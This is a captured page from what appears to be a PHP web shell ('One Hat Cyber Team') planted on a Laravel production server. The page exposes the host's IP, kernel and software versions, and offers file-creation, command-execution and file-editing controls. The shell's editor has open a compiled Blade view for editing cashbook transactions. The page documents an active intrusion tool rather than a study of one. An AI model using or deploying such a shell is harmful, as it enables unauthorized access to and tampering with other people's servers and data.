One Hat Cyber Team
Your IP :
18.216.82.12
Server IP :
104.21.32.1
Server :
Linux agrigation-prod 5.15.0-67-generic #74-Ubuntu SMP Wed Feb 22 14:14:39 UTC 2023 x86_64
Server Software :
nginx/1.24.0
PHP Version :
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
forge
/
app.gftag.com
/
storage
/
framework
/
views
/
Edit File:
7fca056ebc05f06ed5555497f686eeab.php
<?php $__env->startSection('styles'); ?> <link rel="stylesheet" href="<?php echo e(asset('css/separate/vendor/bootstrap-select/bootstrap-select.min.css')); ?>"> <link rel="stylesheet" href="<?php echo e(asset('css/separate/vendor/select2.min.css')); ?>"> <link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css"> <script type="text/javascript" src="//cdn.jsdelivr.net/jquery/1/jquery.min.js"></script> <?php $__env->stopSection(); ?> <?php $__env->startSection('content'); ?> <div class="page-content"> <div class="container-fluid"> <?php if(session()->has('message')): ?> <div class="alert alert-info alert-fill alert-close alert-dismissible fade in"> <strong><?php echo e(session()->get('message')); ?></strong> </div> <?php endif; ?> <?php if(count($errors) > 0): ?> <div class = "alert alert-danger alert-fill alert-close alert-dismissible fade in"> <ul> <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <li><?php echo e($error); ?></li> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </ul> </div> <?php endif; ?> <section class="card"> <div class="row"> <div class="col-lg-6 p-t"> <h3 class="p-l">Edit Transaction</h3> </div> </div> </section> <div class="box-typical box-typical-padding"> <form action="<?php echo e(route('update-cashbook')); ?>" method="post"> <?php echo csrf_field(); ?> <div class="row"> <input type="hidden" name="id" value="<?php echo e($cashBook->id); ?>"> <div class="col-lg-6"> <fieldset class="form-group"> <label class="form-label semibold" for="exampleInput">Head</label> <select class="form-control" name="header"> <?php $__currentLoopData = $headers; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $header): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <option value="<?php echo e($header->id); ?>" <?php if($header->id==$cashBook->header_id): ?> selected <?php endif; ?>><?php echo e($header->name); ?></option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </select> </fieldset> </div> <div class="col-lg-6"> <fieldset class="form-group"> <label class="form-label semibold" for="exampleInput">Type</label> <select class="form-control" name="type"> <option value="income" <?php if($cashBook->type=='income'): ?> selected <?php endif; ?>>Income</option> <option value="expense" <?php if($cashBook->type=='expense'): ?> selected <?php endif; ?>>Expense</option> </select> </fieldset> </div> <div class="col-lg-6"> <fieldset class="form-group"> <label class="form-label semibold" for="exampleInputPassword1">Amount</label> <input type="text" name="amount" class="form-control" id="exampleInput" value="<?php echo e(!empty($cashBook) ? $cashBook->amount : ''); ?>"> </fieldset> </div> <div class="col-lg-6"> <label class="form-label semibold" for="exampleInput">Date</label> <div class='input-group date'> <input type="text" readonly id="date" class="form-control" name="date" value="<?php echo e(!empty($cashBook) ? $cashBook->transaction_date : ''); ?>"> <span class="input-group-addon"> <i class="font-icon font-icon-calend"></i> </span> </div> </div> </div><!--.row--> <div class="row m-t"> <div class="col-lg-12"> <button type="submit" class="btn btn-inline btn-success p-x-3 p-y">Update Transaction </button> </div> </div> </form> </div><!--.box-typical--> </div> </div> <?php $__env->stopSection(); ?> <?php $__env->startSection('scripts'); ?> <script src="<?php echo e(asset('js/lib/bootstrap-select/bootstrap-select.min.js')); ?>"></script> <script src="<?php echo e(asset('js/lib/select2/select2.full.min.js')); ?>"></script> <script src="https://code.jquery.com/ui/1.11.1/jquery-ui.min.js"></script> <script> $( function() { $( "#date" ).datepicker({ dateFormat: "yy-mm-dd", minDate: 0 }); }); </script> <script type="text/javascript"> $(document).ready(function () { $('#state').on('change',function(){ var state=$(this).val(); $('#city').val(''); jQuery.ajax({ url: "<?php echo e(url('/supplier/cities/')); ?>", method: 'get', data: { st: state }, success: function(result){ var data = JSON.parse(result); $('#cityname').empty(); for(i=0;i<data.length;i++){ $('#cityname').append("<option value='"+data[i].city_name+"'>'"+data[i].city_name+"'</option>"); } } }); }); }) </script> <?php $__env->stopSection(); ?> <?php echo $__env->make('layouts.master', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/forge/app.gftag.com/resources/views/cashbook/edit.blade.php ENDPATH**/ ?>
Simpan